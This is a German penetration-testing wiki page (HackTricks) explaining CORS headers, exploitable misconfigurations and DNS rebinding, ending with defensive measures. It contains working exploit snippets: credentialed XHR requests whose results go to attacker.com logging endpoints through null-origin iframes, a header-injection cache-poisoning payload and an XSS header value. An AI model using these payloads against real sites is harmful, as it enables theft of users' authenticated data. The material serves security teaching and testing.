hacktricks/pentesting-web/cors-bypass.md

# CORS - Fehlkonfigurationen & Umgehung

{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Unterstütze HackTricks</summary>

* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.

</details>
{% endhint %}

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## Was ist CORS?

Cross-Origin Resource Sharing (CORS) Standard **ermöglicht es Servern, festzulegen, wer auf ihre Ressourcen zugreifen kann** und **welche HTTP-Anforderungsmethoden von externen Quellen erlaubt sind**.

Eine **Same-Origin**-Richtlinie verlangt, dass ein **Server, der** eine Ressource anfordert, und der Server, der die **Ressource** hostet, dasselbe Protokoll (z. B. `http://`), denselben Domainnamen (z. B. `internal-web.com`) und **Port** (z. B. 80) teilen. Unter dieser Richtlinie haben nur Webseiten von derselben Domain und demselben Port Zugriff auf die Ressourcen.

Die Anwendung der Same-Origin-Richtlinie im Kontext von `http://normal-website.com/example/example.html` wird wie folgt veranschaulicht:

| Zugegriffene URL                          | Zugriff erlaubt?                       |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | Ja: Identisches Schema, Domain und Port |
| `http://normal-website.com/example2/`     | Ja: Identisches Schema, Domain und Port |
| `https://normal-website.com/example/`     | Nein: Anderes Schema und Port           |
| `http://en.normal-website.com/example/`   | Nein: Andere Domain                    |
| `http://www.normal-website.com/example/`  | Nein: Andere Domain                    |
| `http://normal-website.com:8080/example/` | Nein: Anderer Port\*                    |

\*Internet Explorer ignoriert die Portnummer bei der Durchsetzung der Same-Origin-Richtlinie und erlaubt somit diesen Zugriff.

### `Access-Control-Allow-Origin` Header

Dieser Header kann **mehrere Ursprünge**, einen **`null`** Wert oder ein Wildcard **`*`** zulassen. Allerdings **unterstützt kein Browser mehrere Ursprünge**, und die Verwendung des Wildcards `*` unterliegt **Einschränkungen**. (Das Wildcard muss allein verwendet werden, und seine Verwendung zusammen mit `Access-Control-Allow-Credentials: true` ist nicht erlaubt.)

Dieser Header wird **von einem Server** als Antwort auf eine cross-domain Ressourcenanforderung, die von einer Webseite initiiert wurde, ausgegeben, wobei der Browser automatisch einen `Origin`-Header hinzufügt.

### `Access-Control-Allow-Credentials` Header

Standardmäßig werden Cross-Origin-Anfragen ohne Anmeldeinformationen wie Cookies oder den Authorization-Header durchgeführt. Ein Cross-Domain-Server kann jedoch das Lesen der Antwort erlauben, wenn Anmeldeinformationen gesendet werden, indem der `Access-Control-Allow-Credentials` Header auf **`true`** gesetzt wird.

Wenn auf `true` gesetzt, überträgt der Browser Anmeldeinformationen (Cookies, Autorisierungsheader oder TLS-Clientzertifikate).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Pre-flight-Anfrage

### Verständnis von Pre-flight-Anfragen in der Kommunikation über Domains hinweg

Bei der Initiierung einer Anfrage über Domains hinweg unter bestimmten Bedingungen, wie der Verwendung einer **nicht standardmäßigen HTTP-Methode** (alles außer HEAD, GET, POST), der Einführung neuer **Header** oder der Verwendung eines speziellen **Wertes für den Content-Type-Header**, kann eine Pre-flight-Anfrage erforderlich sein. Diese vorläufige Anfrage, die die **`OPTIONS`**-Methode nutzt, dient dazu, den Server über die Absichten der bevorstehenden Cross-Origin-Anfrage zu informieren, einschließlich der HTTP-Methoden und Header, die verwendet werden sollen.

Das **Cross-Origin Resource Sharing (CORS)**-Protokoll verlangt diese Pre-flight-Prüfung, um die Durchführbarkeit der angeforderten Cross-Origin-Operation zu bestimmen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit des Ursprungs überprüft werden. Für ein detailliertes Verständnis darüber, welche Bedingungen die Notwendigkeit einer Pre-flight-Anfrage umgehen, siehe den umfassenden Leitfaden von [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).

Es ist wichtig zu beachten, dass die **Abwesenheit einer Pre-flight-Anfrage die Anforderung nicht aufhebt, dass die Antwort Autorisierungsheader tragen muss**. Ohne diese Header ist der Browser nicht in der Lage, die Antwort von der Cross-Origin-Anfrage zu verarbeiten.

Betrachten Sie die folgende Darstellung einer Pre-flight-Anfrage, die darauf abzielt, die `PUT`-Methode zusammen mit einem benutzerdefinierten Header namens `Special-Request-Header` zu verwenden:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Als Antwort könnte der Server Header zurückgeben, die die akzeptierten Methoden, die erlaubte Herkunft und andere CORS-Richtlinieneinstellungen anzeigen, wie unten gezeigt:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Dieser Header gibt an, welche Header während der tatsächlichen Anfrage verwendet werden können. Er wird vom Server gesetzt, um die erlaubten Header in Anfragen vom Client anzuzeigen.
* **`Access-Control-Expose-Headers`**: Durch diesen Header informiert der Server den Client darüber, welche Header zusätzlich zu den einfachen Antwort-Headern als Teil der Antwort offengelegt werden können.
* **`Access-Control-Max-Age`**: Dieser Header gibt an, wie lange die Ergebnisse einer Pre-Flight-Anfrage zwischengespeichert werden können. Der Server legt die maximale Zeit in Sekunden fest, in der die Informationen, die von einer Pre-Flight-Anfrage zurückgegeben werden, wiederverwendet werden dürfen.
* **`Access-Control-Request-Headers`**: Wird in Pre-Flight-Anfragen verwendet, dieser Header wird vom Client gesetzt, um den Server darüber zu informieren, welche HTTP-Header der Client in der tatsächlichen Anfrage verwenden möchte.
* **`Access-Control-Request-Method`**: Dieser Header, der ebenfalls in Pre-Flight-Anfragen verwendet wird, wird vom Client gesetzt, um anzugeben, welche HTTP-Methode in der tatsächlichen Anfrage verwendet wird.
* **`Origin`**: Dieser Header wird automatisch vom Browser gesetzt und zeigt den Ursprung der Cross-Origin-Anfrage an. Er wird vom Server verwendet, um zu beurteilen, ob die eingehende Anfrage basierend auf der CORS-Richtlinie erlaubt oder abgelehnt werden sollte.

Beachten Sie, dass normalerweise (abhängig vom Content-Type und den gesetzten Headern) in einer **GET/POST-Anfrage keine Pre-Flight-Anfrage gesendet wird** (die Anfrage wird **direkt** gesendet), aber wenn Sie auf die **Header/Body der Antwort** zugreifen möchten, muss sie einen _Access-Control-Allow-Origin_ Header enthalten, der dies erlaubt.\
**Daher schützt CORS nicht vor CSRF (aber es kann hilfreich sein).**

### **Lokale Netzwerk-Anfragen Pre-Flight-Anfrage**

1. **`Access-Control-Request-Local-Network`**: Dieser Header ist in der Anfrage des Clients enthalten, um anzuzeigen, dass die Anfrage auf eine Ressource im lokalen Netzwerk abzielt. Er dient als Marker, um den Server darüber zu informieren, dass die Anfrage aus dem lokalen Netzwerk stammt.
2. **`Access-Control-Allow-Local-Network`**: Als Antwort verwenden Server diesen Header, um mitzuteilen, dass die angeforderte Ressource mit Entitäten außerhalb des lokalen Netzwerks geteilt werden darf. Er fungiert als grünes Licht für das Teilen von Ressourcen über verschiedene Netzwerkgrenzen hinweg und gewährleistet kontrollierten Zugriff bei gleichzeitiger Einhaltung von Sicherheitsprotokollen.

Eine **gültige Antwort, die die lokale Netzwerk-Anfrage erlaubt**, muss auch in der Antwort den Header `Access-Controls-Allow-Local_network: true` enthalten:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Beachten Sie, dass die Linux **0.0.0.0** IP funktioniert, um diese Anforderungen zu **umgehen**, um auf localhost zuzugreifen, da diese IP-Adresse nicht als "lokal" betrachtet wird.

Es ist auch möglich, die Anforderungen des lokalen Netzwerks zu **umgehen**, wenn Sie die **öffentliche IP-Adresse eines lokalen Endpunkts** verwenden (wie die öffentliche IP des Routers). Denn in mehreren Fällen, selbst wenn die **öffentliche IP** aufgerufen wird, wird der Zugriff gewährt, wenn er **vom lokalen Netzwerk** stammt.
{% endhint %}

### Wildcards

Beachten Sie, dass die folgende Konfiguration zwar super permissiv aussehen mag:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Dies ist von Browsern nicht erlaubt und daher werden keine Anmeldeinformationen mit der angeforderten Anfrage gesendet.

## Ausnutzbare Fehlkonfigurationen

Es wurde beobachtet, dass die Einstellung von `Access-Control-Allow-Credentials` auf **`true`** eine Voraussetzung für die meisten **echten Angriffe** ist. Diese Einstellung erlaubt es dem Browser, Anmeldeinformationen zu senden und die Antwort zu lesen, was die Effektivität des Angriffs erhöht. Ohne dies verringert sich der Vorteil, eine Anfrage über den Browser zu stellen, anstatt sie selbst durchzuführen, da die Nutzung der Cookies eines Benutzers unpraktisch wird.

### Ausnahme: Ausnutzung des Netzwerkstandorts als Authentifizierung

Es gibt eine Ausnahme, bei der der Netzwerkstandort des Opfers als eine Form der Authentifizierung fungiert. Dies ermöglicht es, den Browser des Opfers als Proxy zu verwenden und die IP-basierte Authentifizierung zu umgehen, um auf Intranet-Anwendungen zuzugreifen. Diese Methode weist ähnliche Auswirkungen wie DNS-Rebinding auf, ist jedoch einfacher auszunutzen.

### Reflexion von `Origin` in `Access-Control-Allow-Origin`

Das reale Szenario, in dem der Wert des `Origin`-Headers in `Access-Control-Allow-Origin` reflektiert wird, ist theoretisch unwahrscheinlich aufgrund von Einschränkungen bei der Kombination dieser Header. Entwickler, die CORS für mehrere URLs aktivieren möchten, können jedoch den Header `Access-Control-Allow-Origin` dynamisch generieren, indem sie den Wert des `Origin`-Headers kopieren. Dieser Ansatz kann Schwachstellen einführen, insbesondere wenn ein Angreifer eine Domain mit einem Namen verwendet, der legitim erscheint, und somit die Validierungslogik täuscht.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Ausnutzen des `null` Ursprungs

Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien angegeben wird, nimmt eine einzigartige Stellung ein. Einige Anwendungen setzen diesen Ursprung auf die Whitelist, um die lokale Entwicklung zu erleichtern, und erlauben unbeabsichtigt, dass jede Website einen `null` Ursprung durch ein sandboxed iframe nachahmt, wodurch die CORS-Beschränkungen umgangen werden.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Regular Expression Bypass Techniken

Beim Encountering einer Domain-Whitelist ist es entscheidend, nach Bypass-Möglichkeiten zu suchen, wie das Anhängen der Domain des Angreifers an eine whitelisted Domain oder das Ausnutzen von Subdomain-Übernahmeanfälligkeiten. Darüber hinaus können reguläre Ausdrücke, die zur Domainvalidierung verwendet werden, Nuancen in den Namenskonventionen von Domains übersehen, was weitere Bypass-Möglichkeiten bietet.

### Fortgeschrittene reguläre Ausdruck Bypasses

Regex-Muster konzentrieren sich typischerweise auf alphanumerische, Punkt (.) und Bindestrich (-) Zeichen und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein Domainname, der so gestaltet ist, dass er Zeichen enthält, die von Browsern und Regex-Mustern unterschiedlich interpretiert werden, Sicherheitsprüfungen umgehen. Die Handhabung von Unterstrichzeichen in Subdomains durch Safari, Chrome und Firefox zeigt, wie solche Diskrepanzen ausgenutzt werden können, um die Logik der Domainvalidierung zu umgehen.

**Für weitere Informationen und Einstellungen dieser Bypass-Prüfung:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)

### Von XSS innerhalb einer Subdomain

Entwickler implementieren oft Abwehrmechanismen, um sich gegen CORS-Ausnutzung zu schützen, indem sie Domains whitelisten, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer einzigen anfälligen Subdomain innerhalb der whitelisted Domains kann die Tür zur CORS-Ausnutzung durch andere Schwachstellen, wie XSS (Cross-Site Scripting), öffnen.

Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem eine Domain, `requester.com`, whitelisted ist, um auf Ressourcen von einer anderen Domain, `provider.com`, zuzugreifen. Die serverseitige Konfiguration könnte folgendermaßen aussehen:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
In diesem Setup haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, sagen wir `sub.requester.com`, mit einer XSS-Sicherheitsanfälligkeit kompromittiert wird, kann ein Angreifer diese Schwäche ausnutzen. Zum Beispiel könnte ein Angreifer mit Zugriff auf `sub.requester.com` die XSS-Sicherheitsanfälligkeit ausnutzen, um CORS-Richtlinien zu umgehen und böswillig auf Ressourcen von `provider.com` zuzugreifen.

### **Sonderzeichen**

PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) hat festgestellt, dass einige Browser seltsame Zeichen innerhalb von Domainnamen unterstützen.

Chrome und Firefox unterstützen Unterstriche `_`, die reguläre Ausdrücke umgehen können, die implementiert wurden, um den `Origin`-Header zu validieren:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```

```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari ist noch nachsichtiger bei der Akzeptanz von Sonderzeichen im Domainnamen:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```

```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Server-seitige Cache-Vergiftung**

[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

Es ist möglich, dass durch die Ausnutzung von server-seitiger Cache-Vergiftung durch HTTP-Header-Injection eine gespeicherte Cross-Site Scripting (XSS)-Schwachstelle induziert werden kann. Dieses Szenario tritt auf, wenn eine Anwendung es versäumt, den `Origin`-Header auf illegale Zeichen zu bereinigen, was eine Schwachstelle insbesondere für Internet Explorer- und Edge-Nutzer schafft. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Beendiger, was zu HTTP-Header-Injection-Schwachstellen führt.

Betrachten Sie die folgende Anfrage, bei der der `Origin`-Header manipuliert wird:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer und Edge interpretieren die Antwort als:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Während die direkte Ausnutzung dieser Schwachstelle durch das Senden eines fehlerhaften Headers von einem Webbrowser aus nicht praktikabel ist, kann eine gestaltete Anfrage manuell mit Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Antwort speichert und unbeabsichtigt anderen bereitstellt. Die gestaltete Payload zielt darauf ab, den Zeichensatz der Seite auf UTF-7 zu ändern, eine Zeichencodierung, die oft mit XSS-Schwachstellen in Verbindung gebracht wird, da sie Zeichen auf eine Weise codieren kann, die in bestimmten Kontexten als Skript ausgeführt werden kann.

Für weiterführende Informationen zu gespeicherten XSS-Schwachstellen siehe [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Hinweis**: Die Ausnutzung von HTTP-Header-Injektionsschwachstellen, insbesondere durch serverseitige Cache-Vergiftung, unterstreicht die entscheidende Bedeutung der Validierung und Bereinigung aller benutzereingereichten Eingaben, einschließlich HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das die Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.

### **Client-Side Cache Vergiftung**

[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Kodierung widerspiegelt. Insbesondere spiegelt die Webseite die Inhalte des `X-User-id`-Headers wider, der bösartigen JavaScript-Code enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bild-Tag enthält, das darauf ausgelegt ist, JavaScript-Code beim Laden auszuführen.

Cross-Origin Resource Sharing (CORS)-Richtlinien erlauben das Senden von benutzerdefinierten Headern. Ohne dass die Antwort jedoch aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, könnte der Nutzen einer solchen Injektion begrenzt erscheinen. Der kritische Punkt ergibt sich, wenn man das Cache-Verhalten des Browsers betrachtet. Wenn der `Vary: Origin`-Header nicht angegeben ist, wird es möglich, dass die bösartige Antwort vom Browser zwischengespeichert wird. Anschließend könnte diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, wodurch die Notwendigkeit für ein direktes Rendering bei der ursprünglichen Anfrage umgangen wird. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs, indem er das Client-seitige Caching nutzt.

Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das darauf ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, beispielsweise über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreichem Abschluss der Anfrage versucht es, zur Ziel-URL zu navigieren, was die Ausführung des injizierten Skripts auslösen könnte, wenn die Antwort ohne ordnungsgemäße Handhabung des `Vary: Origin`-Headers zwischengespeichert wurde.

Hier ist eine zusammenfassende Übersicht des verwendeten JavaScripts zur Ausführung dieses Angriffs:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Bypass

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Schwachstelle, die ausnutzt, dass die Same Origin Policy (SOP) nicht gilt, wenn Ressourcen mit dem Script-Tag eingebunden werden. Dies liegt daran, dass Skripte von verschiedenen Domains eingebunden werden müssen. Diese Schwachstelle ermöglicht es einem Angreifer, auf jeden Inhalt zuzugreifen und diesen zu lesen, der mit dem Script-Tag eingebunden wurde.

Diese Schwachstelle wird besonders signifikant, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Informationen zur Umgebungsautorisierung wie Cookies zur Authentifizierung verwendet werden. Bei der Anforderung einer Ressource von einem anderen Host werden die Cookies mitgesendet, wodurch sie für den Angreifer zugänglich sind.

Um diese Schwachstelle besser zu verstehen und zu mindern, können Sie das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann helfen, potenzielle XSSI-Schwachstellen in Ihren Webanwendungen zu identifizieren und zu beheben.

[**Erfahren Sie hier mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzt.**](xssi-cross-site-script-inclusion.md)

Versuchen Sie, einen **`callback`** **Parameter** in die Anfrage einzufügen. Vielleicht war die Seite vorbereitet, um die Daten als JSONP zu senden. In diesem Fall sendet die Seite die Daten mit `Content-Type: application/javascript` zurück, was die CORS-Policy umgeht.

![](<../.gitbook/assets/image (856).png>)

### Einfacher (nutzloser?) Bypass

Eine Möglichkeit, die Einschränkung `Access-Control-Allow-Origin` zu umgehen, besteht darin, eine Webanwendung zu bitten, eine Anfrage in Ihrem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domain gerichtet ist.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der Ihre Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um mit der angeforderten Domain übereinzustimmen. Dies umgeht effektiv die CORS-Policy. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Proxying von Anfragen. Anstatt Ihre Anfrage unverändert weiterzuleiten, stellt der Server seine eigene Anfrage mit den angegebenen Parametern.

### Iframe + Popup Bypass

Sie können **CORS-Prüfungen** wie `e.origin === window.origin` umgehen, indem Sie **ein Iframe erstellen** und **von diesem ein neues Fenster öffnen**. Weitere Informationen auf der folgenden Seite:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### DNS Rebinding über TTL

DNS-Rebinding über TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS-Einträge manipuliert werden. So funktioniert es:

1. Der Angreifer erstellt eine Webseite und bringt das Opfer dazu, darauf zuzugreifen.
2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domain, um auf die Webseite des Opfers zu verweisen.
3. Der Browser des Opfers speichert die DNS-Antwort, die möglicherweise einen TTL (Time to Live)-Wert hat, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden sollte.
4. Wenn der TTL abläuft, stellt der Browser des Opfers eine neue DNS-Anfrage, wodurch der Angreifer JavaScript-Code auf der Seite des Opfers ausführen kann.
5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Server des Opfers zu senden.

Es ist wichtig zu beachten, dass Browser über Caching-Mechanismen verfügen, die einen sofortigen Missbrauch dieser Technik verhindern können, selbst bei niedrigen TTL-Werten.

DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen zu umgehen, die vom Opfer durchgeführt werden, oder für Szenarien, in denen ein Benutzer oder Bot längere Zeit auf derselben Seite bleibt, wodurch der Cache abläuft.

Wenn Sie eine schnelle Möglichkeit benötigen, DNS-Rebinding auszunutzen, können Sie Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden.

Um Ihren eigenen DNS-Rebinding-Server zu betreiben, können Sie Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Exponieren Ihres lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf verweist (z. B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain verweist (z. B. ns.example.com). Jeder Subdomain von ns.example.com wird dann von Ihrem Host aufgelöst.

Sie können auch einen öffentlich laufenden Server unter [http://rebind.it/singularity.html](http://rebind.it/singularity.html) erkunden, um ein besseres Verständnis und Experimentieren zu ermöglichen.

### DNS Rebinding über **DNS Cache Flooding**

DNS-Rebinding über DNS-Cache-Flutung ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es:

1. Zunächst, wenn das Opfer eine DNS-Anfrage stellt, wird mit der IP-Adresse des Angreifers geantwortet.
2. Um die Caching-Abwehr zu umgehen, nutzt der Angreifer einen Service Worker. Der Service Worker flutet den DNS-Cache, was effektiv den zwischengespeicherten Servernamen des Angreifers löscht.
3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die typischerweise auf localhost verweist.

Durch das Fluten des DNS-Caches mit dem Service Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers zwingen, eine zweite Anfrage zu stellen, die diesmal auf die gewünschte IP-Adresse des Angreifers aufgelöst wird.

### DNS Rebinding über **Cache**

Eine weitere Möglichkeit, die Caching-Abwehr zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS-Anbieter zu nutzen. So funktioniert es:

1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomain beim DNS-Anbieter ein.
2. Wenn ein Browser diese Einträge überprüft, erhält er beide IP-Adressen.
3. Wenn der Browser sich entscheidet, zuerst die IP-Adresse des Angreifers zu verwenden, kann der Angreifer ein Payload bereitstellen, das HTTP-Anfragen an dieselbe Domain durchführt.
4. Sobald der Angreifer jedoch die IP-Adresse des Opfers erhält, hört er auf, auf den Browser des Opfers zu antworten.
5. Der Browser des Opfers, der erkennt, dass die Domain nicht reagiert, wechselt zur Verwendung der zweiten angegebenen IP-Adresse.
6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), wodurch der Angreifer dies ausnutzen und Informationen sammeln und exfiltrieren kann.

Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domain bereitgestellt werden. Durch strategische Kontrolle der Antworten und Manipulation der IP-Adresse, die der Browser auswählt, kann ein Angreifer die SOP ausnutzen und auf Informationen vom Opfer zugreifen.

{% hint style="warning" %}
Beachten Sie, dass Sie, um auf localhost zuzugreifen, versuchen sollten, **127.0.0.1** in Windows und **0.0.0.0** in Linux neu zu binden.\
Anbieter wie GoDaddy oder Cloudflare erlaubten mir nicht, die IP 0.0.0.0 zu verwenden, aber AWS Route53 erlaubte mir, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist.

<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
{% endhint %}

Für weitere Informationen können Sie [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) überprüfen.

### Andere gängige Bypässe

* Wenn **interne IPs nicht erlaubt sind**, könnten sie **vergessen haben, 0.0.0.0 zu verbieten** (funktioniert unter Linux und Mac)
* Wenn **interne IPs nicht erlaubt sind**, antworten Sie mit einem **CNAME** zu **localhost** (funktioniert unter Linux und Mac)
* Wenn **interne IPs nicht erlaubt sind** als DNS-Antworten, können Sie **CNAMEs zu internen Diensten** wie www.corporate.internal antworten.

### DNS Rebidding Waffeisiert

Sie können weitere Informationen über die vorherigen Bypass-Techniken und die Verwendung des folgenden Tools im Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ) finden.

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool, um [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des DNS-Namens des Angreifers an die IP-Adresse der Zielmaschine neu zu binden und Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.

### Echte Schutzmaßnahmen gegen DNS-Rebinding

* Verwenden Sie TLS in internen Diensten
* Fordern Sie eine Authentifizierung an, um auf Daten zuzugreifen
* Validieren Sie den Host-Header
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Pre-Flight-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten

## **Tools**

**Fuzz mögliche Fehlkonfigurationen in CORS-Richtlinien**
